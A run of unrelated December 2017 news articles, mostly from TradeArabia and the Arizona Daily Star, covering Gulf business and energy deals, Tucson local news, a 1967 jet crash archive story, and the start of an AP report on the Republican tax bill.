"Upgrading these systems at existing properties is key, and we will see developers taking retroactive steps to make sure their properties to meet new fire codes. In fact, our facade engineering and fire and life safety team have worked together on several projects where building owners, who have become concerned with the fire risk exposure of their new and existing assets, have required detailed surveys and remediation plans to address the risk of facade fires on their buildings" stated the top AESG official.



Though commissioning has rarely been given its due attention in the past, it is the most essential part of the project as it brings all the systems and services together and ensures they work in harmony, he added.



As the market has matured over recent years and a number of developers have observed the losses they have incurred during operation of inadequately commissioned buildings, there is now greater focus being given on this area.



"Most developers are now employing the services of third party commissioning specialists to manage and oversee the commissioning process right from the start of design until handover.



"This in turn will create greater professionalism and accountability in the mechanical, electrical and plumbing (MEP) sector and significantly improve quality, which in my opinion is much needed in the region.



"To use another analogy  the historic practices of allowing MEP contractors to carry out their own testing and commissioning is like asking school children to mark their own exam papers without the teacher verifying that they have marked their work correctly or honestly," remarked Al Abbar.



With oil prices unlikely to bounce back to previous highs, a premium will be placed on value engineering and innovation. Reflecting the importance of this has been the emergence of consultancy service providers and contractors whose approach to value engineering is led by technical specialists and supported by cost consultants rather than the other way around.



This has proven to be more effective as it enables value and system function to be clearly understood and defined so that value engineering does not become a simple cost-cutting exercise, said the top official.



"Many developers have experienced the issues with what I term vandalism engineering associated with simply removing cost items from a BOQ without due regard for whether the building will still function as intended," remarked Al Abbar.



"With our knowledge of the local market, we have been successful at applying value engineering methodology to a number of projects. I strongly believe that consultants and contractors that are successful in 2018 will be those that integrate value engineering into their processes and are able to provide more value at lower cost to the client," he added.



According to him, a developing trend has been for property owners to request recommissioning for their buildings, which requires a holistic diagnosis of all systems in the building to ensure their proper functionality.



This includes a thorough review of vital systems such as air conditioning, the BMS, and fire and life safety systems.



"Organisations that decided to take this up in 2018 would do well to treat BMS as the starting point, as this is not only where building systems are orchestrated but BMS will also help pinpoint where systems are not working in harmony. This not only validates that the building systems provide a safe and healthy environment for occupants but also provides significant energy savings," observed Al Abbar.



Overall, the outlook for the building industry is bright. As with any industry, there will be challenges to overcome, he stated.



"However, by paying careful attention and adapting to the changes and new trends in the industry, developers will be able to safeguard their investments and ensure smooth operations for years to come. The industry is moving forward at a rapid pace and innovation is finally taking a firm hold on the building sector. Those that ignore these tides of change will simply be left behind," he added.-TradeArabia News Service
The Ministerial Group for the Encouragement and Participation of the Private Sector in the Economic Development Projects of Qatar has revealed a number of investments worth more than QR4 billion ($1.085 billion) in different fields, said a report.



The accouncement was made in accordance with the directives of HH the Emir Sheikh Tamim bin Hamad al-Thani for achieving self-sufficiency and reliance. The Prime Minister and Interior Minister Sheikh Abdullah bin Nasser bin Khalifa al-Thani revealed the plans, added the Gulf Times report.



The group said in a statement yesterday that the new investments are part of the governments efforts to enhance the private sectors role in the countrys economic development.



The projects will mainly be in the health, education, logistical support, agricultural produce, industry, and environmental fields.



In the education sector, the group chose a group of investors to establish seven schools.



The group already allocated the land and provided it with the necessary infrastructure.



A total of 116 investors competed over winning those lands, added the report.
Schlumberger, one of the world's leading oil services companies, said it has signed a deal with state oil giant Saudi Aramco to develop a hitech industrial manufacturing centre within the King Salman Energy Park at Dhahran in Saudi Arabia.



The announcement was made at a ground-breaking ceremony at the King Salman Energy Park, being developed and operated by Saudi Aramco.



Schlumberger, which is a key anchor tenant at the park, said the new manufacturing plant will come up over a 500,000-sq-m area of land allocated for energy-related industries.

The new unit will manufacture products for drilling, exploration and production, as well as midstream, it stated.



Welcoming the move, Mohammed Al Qahtani, the senior vice-president (Upstream) at Saudi Aramco, said: "Schlumberger is the first mover to come onto the King Salman Energy Park, and we extend our warmest welcome. This initiative underlines Saudi Arabias key position as a regional and global energy industry hub."



"Significantly, Schlumberger is bringing major manufacturing capacity to the kingdom, with the potential to develop export markets. This presence will attract additional tenants to the park, bringing the jobs and investment that are crucial to both Saudi Aramcos iktva development program, and the kingdoms Vision 2030," he stated.



The first phase of the facility will be completed in the second quarter of 2018, which will bring Schlumberger land rig manufacturing to the kingdom.



Paal Kibsgaard, the chairman and CEO of Schlumberger, said: "The new industrial manufacturing centre will collocate our upstream and midstream manufacturing in the kingdom and complements the footprint Schlumberger has built over many years."



"We believe our commitment puts Schlumberger in a position to attract the best local talent, to grow within the kingdom, and to export within the region," he added.-TradeArabia News Service
Mariam Al Afridi, Director of Government Communications at Dubais Department of Economic Development, has been recognised as one of the Most Influential Global Marketing Leaders of the Year by the World Marketing Congress.

Al Afridi was the only Arab to appear on the list, which is published annually and honours members of the marketing community who have delivered extraordinary work and demonstrated exceptional strategic prowess, as well as a commitment toward the advancement of the industry, said a statement.

She was selected for being a leading marketer and for applying new techniques, approaches and ways of thinking in the industry and for reflecting the main award criteria: Marketing Competencies, Strategic Perspective & Future Orientation, Track Record, Integrity and Ethics and Commitment to Sustainability (Business, Social & Environmental). Her in-depth knowledge of the marketing world was captured in her PhD thesis about Dubais Experience Economy, which describes the global brand that the city has built and correlating it with its economy bringing it to new economic dimensions. The thesis also focused on elevating the brand experience to a city level where Dubai as a brand appears to be the epicentre of the experience economy in the world. The Most Influential Global Marketing Leader is a result of an intensely researched process undertaken by the research cell which consists of Post Graduates in History & Management with a combined 100+ years research experience post their studies. The shortlist is then reviewed by a jury comprising of senior professionals from across the globe.

Al Afridi commented: It is an honour to appear on this list alongside some of the brightest minds in the marketing world and to have been recognised by the prestigious World Marketing Congress. Securing a sustainable future for our industry in an increasingly competitive and complex marketing environment is of utmost importance, and I am proud to be contributing to this mission. I am also proud to be representing the Arab world on the list and highlighting Dubais dynamic marketing industry.

Mariam has 15 years of senior leadership experience across major industry sectors such as media, trade and economy, and tourism and hospitality. In her current role, she manages brand reputation, corporate identity, and international and local relations for Dubais economy. She is responsible for overseeing, devising and implementing the marketing and communications strategies for all the business units and agencies that fall under Dubai Economy.

Mariam was previously the Director of Marketing and Corporate Communications for Dubai Media Incorporated, the official media agency of the Government of Dubai. She is a board member of UAE Youth Hostels and the Leadership Qualifications Center - Youth & Sports Authority, and participates in programmes that include leadership development for youth, where she delivers lectures and presentations to motivate young adults and assists them with their career planning. She is also actively involved in multiple humanitarian activities and is dedicated to giving back to the community.

 TradeArabia News Service
An exhibition which highlights the work of the UAE Armed Forces and the brave men and women who voluntarily devote their lives to the homeland, recently opened at Etihad Museum in Abu Dhabi, UAE.



The exhibition, Protectors of the Nation: Sacrifice and Giving, also charts the formation of the nations armed forces alongside the UAEs own development following the Union Agreement signed on December 2, 1971, reported Emirates news agency Wam.



Muna Faisal Al Gurg, managing director of the Dubai Museums Company, an entity managed by Dubai Culture & Arts Authority, said: "We would like to thank our partners for their valuable contributions to this exhibition, which appreciates and recognises the vital role of the UAE Armed Forces as well as their humanitarian support of other countries, led by the Ministry of Defence and the General Command of the Armed Forces, the Military History Museum and National Archives Centre, and the main sponsor Pure Health."



Colonel Dr Saeed Al Kalbani, manager of the Military History Museum and National Archives Centre, said, "This exhibition is a major national monument that celebrates the establishment of the UAE and also documents the nations rich history for future generations. It showcases the history and development of the UAE federation itself, followed by the history of the UAE Armed Forces, from their formation to the international humanitarian missions they are currently undertaking."



This is the second temporary exhibition hosted by the Etihad Museum and follows the Emirates to the World: Postal History from 1909 to Unification exhibition hosted earlier in the year, which featured a wide variety of events and activities.



The new exhibition highlights the UAE's leading efforts in spreading tolerance, brotherhood and positive values that enhance community happiness across the world, as demonstrated by the participation of the UAE Armed Forces in many global relief campaigns and peacekeeping initiatives. Thanks to this strategy, the UAE has become a humanitarian role model for the international community, the report said.
Iraq and Iran have signed an agreement to export up to 60,000 barrels of oil per day from the fields of Kirkuk to Iran.



The rate of exports can be increased through the basin until the completion of the extension of an oil pipeline for this purpose, said Iraqi Oil Minister Jabbar Ali Al-Luaibi.



He added that the agreement signed by the Iraqi oil marketing company Sumo with the Iranian side provides for the Iraqi side to transfer oil via trucks to the joint border point between the two countries near the province of Kermanshah.



Meanwhile the Iranian side delivered the same quantities and the same specifications through the ports South of Iraq.



The agreement was signed by Alaa Yasiri, director general of Sumo and Hidayatzadeh, a representative of the Iranian Oil Ministry.



Al-Luaibi said that Iraq is keen to strengthen relations with neighbouring countries and the world, and that the Ministry plans to establish strategic oil projects that enhance the prospects of bilateral cooperation with Turkey, Jordan, Kuwait, Saudi Arabia and Syria, as well as Egypt.  TradeArabia News Service
Water and electricity bills in the UAE will be subject to the 5 per cent value added tax from January 1, 2018, a media report said.



Abu Dhabi Water and Electricity Authority (Adwea) has instructed its Abu Dhabi and Al Ain distribution affiliates to address consumers on the starting date of VAT application, reported Emirates news agency Wam.



Adwea said that it has taken all necessary measures to add the tax to January bills in line with Federal Law No 8 for the year 2017, which stipulates that water and electricity are among the commodities and services subject to the levy.



A 5 per cent VAT is set to come into force in the UAE and Saudi Arabia on January 1, with the rest of the GCC states following by the beginning of the following year.
Maersk Oil, a subsidiary of French energy giant Total, is eyeing cooperation in development of an offshore Iranian oil project in the Arabian Gulf, a top official was quoted as saying in a media report.



"Maersk is likely to sign the second Iran Petroleum Contract (IPC) deal within two months," Mohammad Meshkinfam, chief executive officer of Pars Oil and Gas Company, was quoted by Iran Daily, which cited ISNA.



Maersk Oil has held talks on taking over the crude oil layer of South Pars, a giant gas deposit where its new parent company Total has agreed to develop an offshore phase in a $5-billion deal



Iran aims to stabilize production from the SP oil layer at the current production level of around 25,000 barrels per day, and gradually boost output to 55,000-60,000 bpd, the report said, noting that Maersk can help increase output to 150,000 barrels per day.



The oil layer is located 130 km off the Arabian Gulf coast and contains an estimated seven billion barrels of oil in place, according to the report. Iran began production from the SP oil layer in March.
Ferrari World Abu Dhabi's annual Winterfest kicked off on December 15, bringing the Ferrari magic of the festive season to the park.



The Middle Easts leading theme park saw a successful start to the fifth edition of Winterfest with the Fairytales on Ice show that enchanted guests throughout its different acts and award winning performers.



The park continues to welcome guests from across the world to enjoy all the winter activities on offer as well as the Park thrills and, in addition to that, between December 24 and 31, guests will get the chance to participate in the exciting Winterfest Candy Cane Hunt. The lucky winner, who finds the Candy Cane with a gold ribbon, will redeem an instant prize.



This magical season, Ferrari World Abu Dhabi has a gift for its guests: the Unlimited Park Access! With every bronze ticket worth Dh295 ($80.3) guests are granted complimentary Park access throughout Winterfest period, to make the most of the festive thrill.



The opening hours of the park for the general public during Winterfest will be:

 11 am to 10 pm between December 15 and 21

 10 am to 10 pm between December 22 and 30

 10 am to 8 pm between December 31, 2017 and January 6, 2018. - TradeArabia News Service


UAE's Etihad Airways will be suspending flights to the Iranian capital, Tehran, from January 2018, it has emerged.



The decision, part of the airline's strategy review, will come into effect from January 24, said a report in Reuters.



Etihads five weekly flights to Irans capital will be reduced to two a week between December 25 and January 23, before it suspends the route entirely on January 24, said the report citing an airline spokeswoman.



Passengers booked to travel after then can switch to an alternative travel date between December 25 and January 23 or be refunded, the spokeswoman said.
RIVERTON For two days last month, a group of Wyoming educators and local tribal members met in Riverton to discuss revisions to the states social studies standards.

The review committee was formed in response to a legislative mandate to include American Indian education in lessons taught in public schools throughout Wyoming.

Over the course of the two-day meeting, Wyoming Department of Education social studies consultant and standards specialist Rob Black said the participants worked their way through 32 educational benchmarks, outlining the expectations area students should meet in regard to knowledge of American Indian culture.

Ive been extremely pleased, he said. I was very impressed with the way they worked together, the way they were very thoughtful. ... I thought there was a lot of camaraderie and willingness to thoroughly discuss and work out different ideas.

Theres really a feeling in the air of, Lets get this right.

Important job

Noting that, in her opinion, the effort to incorporate American Indian culture in public school education is long overdue, Fremont County School District 38 (Arapahoe) 21st Century Community Learning Center coordinator Teresa HisChase agreed that it is important that the new social studies standards be developed thoughtfullyand with input from tribal members.

This is our opportunity give an accurate account of who we are and where we came from, she said in an e-mail to The Ranger. Our own histories need to be taught by us, in all schools across America.

Educating others

Once American Indian education becomes a standardized part of the school curriculum, HisChase said non-native students will have a better understanding of and appreciation for native cultural traditions. As a result, she believes social barriers that often come between people of different backgrounds will be broken.

Star Valley High School principal and social studies standards review committee member Homer Bennett, who grew up on the Wind River Indian Reservation and attended Arapahoe School as well as Riverton High School, also talked about social divisions, particularly those that have arisen in recent years due to a more contentious political climate.

Public schools should serve, in part, to unify us as citizens, he said in an e-mail to The Ranger. I dont believe this can happen unless we have a better understanding and respect for all our people.

When he became a high school teacher more than 20 years ago, Bennett said he was amazed by how little many students and adults in Wyoming knew about the states reservation and the native people who live there.

I think we have a serious gap in our states educational system that does a disservice to a very important demographic, he said. (We need help) exposing Wyoming students to the culture and history of our states most unique minority group.

Several local committee members said a more thorough education about native cultures  past and present  will diminish the prevalence of stereotypes.

For example, some tribal representatives in the group said they often face questions from non-native people who wonder whether American Indians still live in teepees, or if natives all ride horses and are barred from leaving the reservation. In an effort to combat those misconceptions, Lynette St. Clair, the Shoshone culture and language teacher at Wyoming Indian schools, said she has gathered input from her students about what they would like their peers to learn about.

(I ask them), If you were to go to another school, what would you want those students to know about you as a personnot as a Shoshone or Arapaho tribal member, but as a person? she said. I really want to make sure the voices of reservation students and communities are included in this process. ... If they were allowed to have a voice, theyd be able to dispel all the myths and stereotypes about Indian people.

Educating students

St. Clair also wants to make sure native students learn more about their own cultures in the classroom.

Celeste Spoonhunter, the Title VII facilitator and cultural resource specialist for Fremont County School District 25 (Riverton), said incorporating American Indian history into the mainstream educational setting will empower young tribal members to embrace their own identities. And students who are more comfortable with themselves are more likely to succeed, she explained.

When you have that sensitivity in place of who you are ... you tend to be more willing to learn and have that door open up, she said. (You think), Hey, Im accepted just as well as the next person, and if youre going to acknowledge who I am, then thats respect to me.

Next steps

During last months meeting, the committee reviewed the portions of the state social studies standards that have to do with culture and history, ensuring that the contributions of indigenous people were included.

Participants were divided into four subcommittees to study the standards as they pertain to certain age groups, then came together to create cohesive set of amendments to the standards.

It was a tiring two daysI went home just brain tired, said Caroline Mills, a former Central Wyoming College trustee and currently the director of the Learning Center in Fort Washakie. It was like a crash course, cramming to get our input in two days.

For an important topic like that, it seemed we were rushing it, (but) the state only has a certain amount of money, and thats all they were able to do.

St. Clair also acknowledged that the states economy is suffering and that funding streams are low, but she agreed with Mills that a project of this magnitude required more time.

Theres still a lot of work to do, she said. Weve done good work so far, but weve only scratched the surface ... We want this to be good. We want our work to be reflective o our communitys input, and our voice.

Black said several committee members also expressed a desire to look at additional portions of the curriculum, specifically the government and geography standards. Another meeting has been scheduled for January to accommodate those requests.

Once they are finalized, the committees recommendations will go to the Wyoming State Board of Education, Black said, and that group will outline the next steps in the process to include the revisions in the social studies standards.
I dream of White Christmas this year.

I speak of the Irving Berlin classic made famous by Bing Crosbya sweet, wistful song that holds more power over me with each passing year.

According to CBS News, many speculate that Berlin was inspired to write the song in the late 1930s, while working on a movie in Beverly Hills and feeling homesick for his family in New York.

The holiday season was especially challenging for him. His three-week-old son had died on Christmas 1928. Berlin visited his grave every Christmas, and the sadness of his sons death also influenced the song.

Berlin had set the half-finished song aside for a few years before finishing it during the Christmas season of 1940 or 1941.

Only 54 words, it would become a quintessentially American songone that, to me, celebrates the American civility, prosperity and opportunity that Berlin was blessed to experience.

According to PBS.org, Berlins family fled to America from Russia when he was 5 to escape persecution of Jews.

His family arrived in New York in 1893, settling in Manhattans Lower East Side. Compelled by poverty to work rather than attending school, Berlin made money by singing on streetcorners and later secured a job as a singing waiter at the Pelham Cafe. During this time, he also began writing songs of his own ... .

Berlin would go on to produce an outpouring of ballads, dance numbers, novelty tunes and love songs that defined American popular song for much of the (20th) century, says the Songwriters Hall of Fame.

Irving Berlin has no place in American musiche is American music, said composer Jerome Kern.

In any event, White Christmas offers a blend of melancholy and hopefulness, expressing a longing for snow-blanketed Christmases when treetops glisten and children listen to hear sleigh bells in the snow and hope that our days will be merry and bright.

The song premiered on Crosbys radio show in December 1941, just 18 days after the attack on Pearl Harbor, a highly emotional time for America. Eight months later, Crosby was featured singing the song in the movie Holiday Inn.

However, critics didnt take much notice of the song at first, according to Jody Rosen, author of White Christmas: the Story of an American Song.

She told CBS News that it wasnt until Armed Forces Radio began to play the song that it struck a chord.

It was 1942, the first winter that American troops had spent overseas, she said. So, these images of ... snowy American, New Englandy Christmas really spoke to the longing, nostalgia and homesickness of the troops for their homeland and for the sweethearts and wives and mothers and fathers theyd left behind.

And it spoke to a common longing for the civility, unity, sacrifice and hopefulness that all Americans were experiencing at that time.

Well, White Christmas is just as relevant now as it ever wasmaybe more so.

Its sweet, wistful melody and lyrics make me long for renewed civility, unity, sacrifice and hopefulnessthe same things, I believe, all Americans are longing for.

We are not enemies, but friends, said President Abraham Lincoln in his first inaugural address, whose message still resonates in 2017.

We must not be enemies, Lincoln said. Though passion may have strained it must not break our bonds of affection. The mystic chords of memory, stretching from every battlefield and patriot grave to every living heart and hearthstone all over this broad land, will yet swell the chorus of the Union, when again touched, as surely they will be, by the better angels of our nature.

Civility, unity, sacrifice and hopefulnessa great coming together.

Thats what I dream of for Christmas this year.
Strong interest in Tucson-area apartments continues as the year closes out with several deals.

Berkadia completed $45.44 million in sales of two properties totaling 284 units.

Senior managing director Art Wadlund and associate director Clint Wadlund completed the deal on behalf of the buyer, California-based M3 Multifamily LLC and the seller, Aerie Development, based in Arizona.

The buyer was attracted to the properties for multiple factors, mainly the single-story apartment home concept, said Art Wadlund. The homes are ideally located in the I-10 and Ina/Thornydale corridor and have many features similar to custom homes.

Avilla Marana I and Avilla Marana II are adjacent properties at 4050 and 4115 W. Aerie Drive. Avilla Marana I sold for $26.56 million, and Avilla Marana II sold for $18.88 million.

The Ledges at West Campus, a 205-unit complex, was sold by Aspen Square Management to a private investor for $23 million.

Previous ownership improved the presentation of the property and minimized capital cost exposure for new ownership by investing significantly in exterior and interior enhancements, says Hamid Panahi, first vice president investments for Marcus & Millichap.

New ownership will have the opportunity to continue the programmatic implementation of select interior finish upgrades to optimize resident demand and maximize rent revenue.

Panahi, senior managing director Steve Gebing and senior managing director Cliff David brokered the deal.

The property, at 2162 W. Speedway, was developed in 1997 and features one- and two-bedroom apartment homes and four-bedroom townhomes.

Marcus & Millichap also brokered the sale of Blacklidge Flats, a 34-unit complex at 3002 N. Mountain Ave., for $1.9 million by The Bakerson Group to RIVI Family Trust.

The Bakerson Group has replicated their long success in repositioning assets in Phoenix in the Tucson MSA, said James Crawley of Marcus & Millichaps Phoenix office, who, along with David, Gebing and Panahi, listed the property.

Blacklidge Flats has seen a tremendous overhaul of capital improvements since acquisition as Bakerson continues to be one of the most active groups in Tucson.

Other recent commercial transactions include:
We've collected a few front pages from newspapers.com to give you a look at some Dec. 19 papers in history. With a subscription to newspapers.com you can search the Arizona Daily Star and many other newspapers using keywords or dates, and download articles or pages.
Almost 11 years before an Air Force jet crashed in Tucson, barely missing a school, there was a similar crash with more devastating damage.

The crash happened Dec. 18, 1967.

Note: The exact addresses of the homes hit were listed in the Star. The Morgue Lady has removed the numbers because if those addresses still exist, the people living there now are probably not the same families.

From the Arizona Daily Star, Tuesday, Dec. 19, 1967:

Plane Plows Into Tucson Shopping Center

15 FEARED DEAD IN FIERY CRASH

2 Homes Razed By Falling F4D Near Airbase

By KEN BURTON

Fifteen persons were believed killed last night and at least a dozen injured when a U.S. Air Force F4D jet crashed into the rear of a Food Giant store at the Cactus Shopping Center at E. 29th St., and S. Alvernon Way.

Capt. Ellis Franklin of the Tucson Fire Dept. said at press time this morning that he feared the death toll might reach 15.

Eight of the deaths were confirmed as still more bodies were being removed from the gutted store and homes to the rear of the market.

At least two houses to the rear of the shopping center complex were also destroyed as a fireball of JP-4 aviation fuel engulfed the area, creating a holocaust.

Air Force officers said the two-man crew, Flight Lt. Jack R. Hamilton of the Royal Canadian Air Force (RCAF), the pilot, and U.S. Capt. Gary L. Hughes, the navigator, were able to parachute from the plane before it crashed.

Tim Oned, of ---- E. 32nd St., was standing on S. Winstel Ave. when the plane hit the ground shortly after 5:30 p.m.

"I saw two planes heading north above me," said Oned. "They were flying side-by-side, when two objects shot out of the eastern aircraft . . . I realized later these were parachutes."

Witnesses, including Oned, said the aircraft then turned on its side and descended upside down. Oned said when it hit, "It exploded like a bomb you see on television."

Another witness, 15-year-old Roswell Burk, of ---- S. Baxter Pl., said he was just blocks away from the supermarket when he saw the jet approaching.

"When the plane came over, it tipped a little and it looked like a wing caught on one wall  and it just blew up," Burk said, explaining how the craft slammed into an alley directly behind the store.

The plane was loaded with more than 16,000 pounds of volatile JP-4 aviation fuel, which it had taken on prior to leaving Davis-Monthan AFB. The plane was based at Nellis AFB, Nev.

The fuel exploded across houses and ripped a fiery path through the grocery store, which was dotted with holiday shoppers and employes.

Ernest Sanchez, a Tucson Gas & Electric Co. employe who was driving by the store when the crash occurred, stopped his car and ran inside to help men, women and children escape.

Reports indicated that between 20 and 30 persons escaped before the fire completely engulfed the store's inside.

Aby Mogy, a self-employed truck driver who runs Mogy's Towing Service, was helping a stranded motorist some 300 yards from the supermarket when he saw the plane fall.

Mogy said he heard "a thud," saw "not more than 20 people" run out, and immediately got on his two-way radio in his wrecker and called for the fire department. He was credited with the first alarm.

More than 85 city firemen  50 regulars, plus 35 off-duty men called back to work  responded to the three separate alarms that sent a total of 10 pieces of fire and rescue equipment to the tragedy.

Firefighting teams also rushed to the blaze from David-Monthan and Air National Guard headquarters. D-M also sent several ambulances and teams of medics.

Some 100 city policemen and other officers from South Tucson, the Arizona Highway Patrol, the Pima County Sheriff's Office, plus Civil Defense teams, the Sheriff's Search & Rescue Unit and the Red Crossall rushed to the crash site.

"We've got every law enforcement and rescue agency in the city and county out here fighting this thing," said one city patrolman. "I don't think we've missed anyone."

Residents in the block behind the market said it looked as though four houses were hit by the initial fireball.

J. A. Eribe, ---- S. Winstel Blvd., lives directly across from one home that was hit. He said he heard "a loud roar, and a terrific explosion." Before his family reached their windows, Eribe said they could see the fire racing in behind them.

Outside, Eribe recalled, a man came running from his own home screaming, "My baby! My baby! She's still in there!"

The home was believed occupied by the James Tilton family, at ---- S. Winstel. Two bodies were recovered from that residence early last night. One of the dead was identified as Sherri Tilton, 19, trapped in her bedroom.

Eribe later told a reporter: "I'm getting the hell out of here and moving. I'm not going to live here any longer."

Meanwhile, the 21-year-old Sanchez said he saw "at least" six people inside the stopre, adding: "Those people didn't have a chance." Sanchez dragged a hysterical mother from the store as she started to go back for her child. The spot where her child had stood was a searing fireball.

"It was the worst thing I've ever seen in my life." Sanchez said. "One minute they were picking greens. The next minute , they just weren't there."

Tucson's hospitals went on alert last night, but it was not necessary to put their disaster plans into full effect, chiefly because there were relatively few injured.

Physicians and off-duty nurses reported in great numbers to St. Mary's, St. Joseph's and Tucson Medical Center emergency rooms as soon as they heard of the tragedy.

The hospitals were prepared to treat any number of victims, and had opened their disaster supplies of bedding, plasma, and burn remedies in preparation for patients from the accident.

At press time, all the injured treated at local hospitals had gone to the emergency rooms with members of their families, not by ambulance.

Firemen and city workers, under the direction of Tom Price, superintendent of the Sanitation Dept., loaded debris into five pickup and six dump trucks last night. Captain Franklin estimated that the men may not finish their mop-up operation until noon today.

Deputy Fire Chief Kenneth Dirks, in charge of the giant fire and recovery operation, said the blaze "could wind up being one of the worst tragedies in Tucson history."

First reports concerning the number of people trapped inside houses to the rear of the store and in the store itself were confused. Dazed witnesses who had fled the supermarket could only mumble when asked how many failed to make the doors.

Admitted for shock at St. Joseph's Hospital last night was Mrs. Rayalda Chavez, 40, --- Calle Colado, a Food Giant cashier who was not otherwise injured.

Mrs. Victoria Steffania Palmer, 55, a clerk at Food Giant who had reported for work only five minutes before the crash, was identified by her husband, James, late last night at Bring's Mortuary. She lived at ---- Monthan Strav. and is survived by a son and two daughters.
PHOENIX  Public officials cant hide public business by using their own cellphones for texts, emails and social messages, the state Court of Appeals says.

In a decision with broad implications, the judges rejected arguments by the Attorney Generals Office that someone has no right to seek information off the private cellphones of Department of Public Safety officers. Judge Paul McMurdie, writing for the unanimous three-judge panel, noted DPS officers admitted they routinely use their personal phones for official business.

The new ruling conflicts with an opinion issued earlier this year by Attorney General Mark Brnovich.

He said the only time messages from private cellphones become public is when those messages are stored in a government database. That effectively created a loophole.

But McMurdie said that limitation does not apply. There was no immediate response from Brnovich.

The case involves Robin and John Lunney, who sought records from the DPS following the 2012 death of their son. A trial judge rejected their contention that they were entitled to the private cellphone records of the officers at the scene of the accident.

McMurdie said its not that simple.

On one hand, the judge said the public is not entitled to a public employees purely personal records.

As recognized by the United States and Arizona Supreme Courts, an individual has a cognizable private interest in her or her personal cell phone, McMurdie wrote. But the judge said the line between public and private has to be resolved by a court looking at the information being sought to determine if it qualifies as a public record.

Here, McMurdie said, there is no question that the officers were using their cellphones to conduct police business.

The only thing that kept the trial judge from determining if what was on those phones crossed into the public realm was that DPS contacted the officers, who told them what the couple wanted did not exist. Therefore, McMurdie said, there was no violation of the public records law.

But what remains is the appellate courts clear statement of Arizona law.

A public employees private cellphone records pertaining to the conduct of public business may become public records subject to disclosure if a public records requestor establishes the employee used the cellphone for a public purpose, the court said.

In a formal opinion in July, Brnovich concluded that public officials cant hide evidence of their official activities through texts and social media posts made from their personal cellphones. He said there is a duty of those who conduct official business on their own devices to record them for preservation. Ditto, he said, of messages sent through social media sites like Facebook and Twitter.

But Brnovich provided what could be an escape clause for elected officials and others seeking to hide what they do.

If the electronic message is solely on a private electronic device or through a social media account that an agency has not established as a system for conducting government business, then ... the electronic message is not a public record, he wrote. And Brnovich said a 2000 change to the law expanding it to cover electronic records includes only those on agency-maintained system.

Dan Barr, attorney for the First Amendment Coalition, said what

the appellate court did is make clear that the question of what is a public record depends on what is in it, not where it is located.
How you can help

Primavera Annual Homeless Memorial

When: 4 p.m. Thursday, Dec. 21.

Where: Evergreen Cemetery county plot, 3015 N. Oracle Road, at the intersection of Oracle and Fort Lowell roads in the northwest corner of the cemetery.

The event includes a memorial service honoring neighbors, friends, and family who have passed away homeless in the past year. Guest speakers will include Tucson Mayor Jonathan Rothschild and the ceremony will offer the opportunity for attendees to share memories of those who passed, share blessings, and promote discussion about social injustice and ending homelessness.

The Primavera Foundation will accept donations of backpacks and winter survival kits, which are one-gallon Ziploc bags containing socks, a winter hat, gloves, lotion/sunscreen, lip balm, snacks, a water bottle and a $5 gift card to a grocery store or restaurant. For information, or to make an online donation, visit the website at primavera.org or call 308-3116.

Primavera Project Action for Veterans

When: Through Dec. 29.

Primavera Project Action for Veterans is in need of donations of winter hats, gloves, mittens, blankets, socks slippers, sweatshirts and gift cards to grocery stores and Walmart. All proceeds benefit veterans in need and their families. Donations can be dropped off with Eric Cross from 8 a.m. to 5 p.m. weekdays at the Primavera Foundation, 151 W. 40th St.

Monetary donations to Project Action can be made online at www.primavera.org/what-we-do/survival/project-action-for-veterans.html or by calling 882-5383, Ext. 102.

The Marshall Home For Men

When: Through Dec. 31.

The Marshall Home For Men is in need of in-kind donations for 52 low-income seniors and veterans. Donations of tissue and paper towels; alcohol prep pads; socks and slippers; personal items such as underwear, hygiene items and incontinence supplies; bathrobes; long-sleeved shirts and coats; winter hats and gloves; and blankets are also needed. Donations can be dropped off from 5 a.m. to 10 p.m. daily at The Marshall Home for Men, 3314 S. 16th Ave. Cash contributions are also welcome and can be made online at www.marshallhomeformen.org/ or by calling 624-5193. Donations can also be mailed to: The Marshall Home For Men, 3314 S. 16th Ave., Tucson, AZ 85713.
A Marana man who pleaded guilty last month to killing his mother was sentenced Monday to 16 years in prison, court officials said.

Nathan Ray Fouts was arrested Feb. 9 after telling a Pima County sheriffs deputy that hed killed his mother, 62-year-old Debra Elaine Fouts, according to a police report.

The deputy said Fouts was rambling and did not make any sense, but requested a welfare check on his mother at her home in Continental Ranch, the report said.

Marana police went to the home shortly before 9 p.m. and through a window saw Debra Fouts lying on her back on the living room floor. Officers reported that it was apparent she had been dead for some time, the report said. She had been shot twice in the back, and officers found three rifles and a handgun in the home, where Nathan Fouts also lived.

While police searched the home, Fouts was taken to a hospital for chest pain, telling paramedics he was hurting from his sins. He also admitted to smoking methamphetamine a few hours earlier, and possibly also heroin and marijuana, the report said.

Fouts was charged with first-degree murder and prohibited possession of a firearm, but in November accepted an agreement with the Pima County Attorneys Office, pleading guilty to one count of domestic-violence-related second-degree murder, according to Pima County Superior Court records.

He was sentenced by Judge Howard Fell.
COTTONWOOD, Ariz.  Federal authorities say a man wanted in connection with a stabbing in north-central Arizona has been arrested in Tucson.

U.S. Marshals Service officials say 24-year-old Benjamin Fabian Pita has been booked on a federal parole violation warrant.

Pita will remain in their custody until the federal case is adjudicated, then extradited to Yavapai County to face felony charges related to the stabbing.

Cottonwood police say Pita was a passenger in a vehicle traveling in the area of State Route 260 on Dec. 8 when he allegedly stabbed the driver numerous times in the face, neck, arm and chest.

The victim survived the attack and has since been released from a hospital.

Pita fled the scene after the stabbing. It was unclear Monday if he has a lawyer yet.
WASHINGTON (AP)  Cue the accountants  and the IRS rule-writers  the massive Republican tax package is nearly a done deal, soon to become law.

After weeks of drafting, fierce lobbying, horse-trading and cliffhangers from some holdout GOP senators, all that's left is the voting and President Donald Trump's signature. This week Republicans in the House and Senate will whisk through the sweeping $1.5 trillion GOP legislation on party-line votes. Trump signs it with what's likely to be an elaborate White House ceremony.

The legislation permanently slashes the tax rate for corporations from 35 percent to 21 percent and reduces levies on the wealthiest Americans, while making more modest tax reductions for most others. The tax cuts for individuals are temporary, expiring in 2026. It doubles the standard deduction used by most Americans, to $24,000 for married couples, also ending in eight years.

The new law kicks in Jan. 1. It will bring the biggest overhaul of the U.S. tax code in three decades, reaching into every corner of American society and the economy. It will give Trump and the Republicans their first major legislative achievement and political insurance, as they see it, to hold on to their majorities in next year's elections.

A look at how this unfolds and when taxpayers will be affected:

WHEN ARE THEY VOTING?

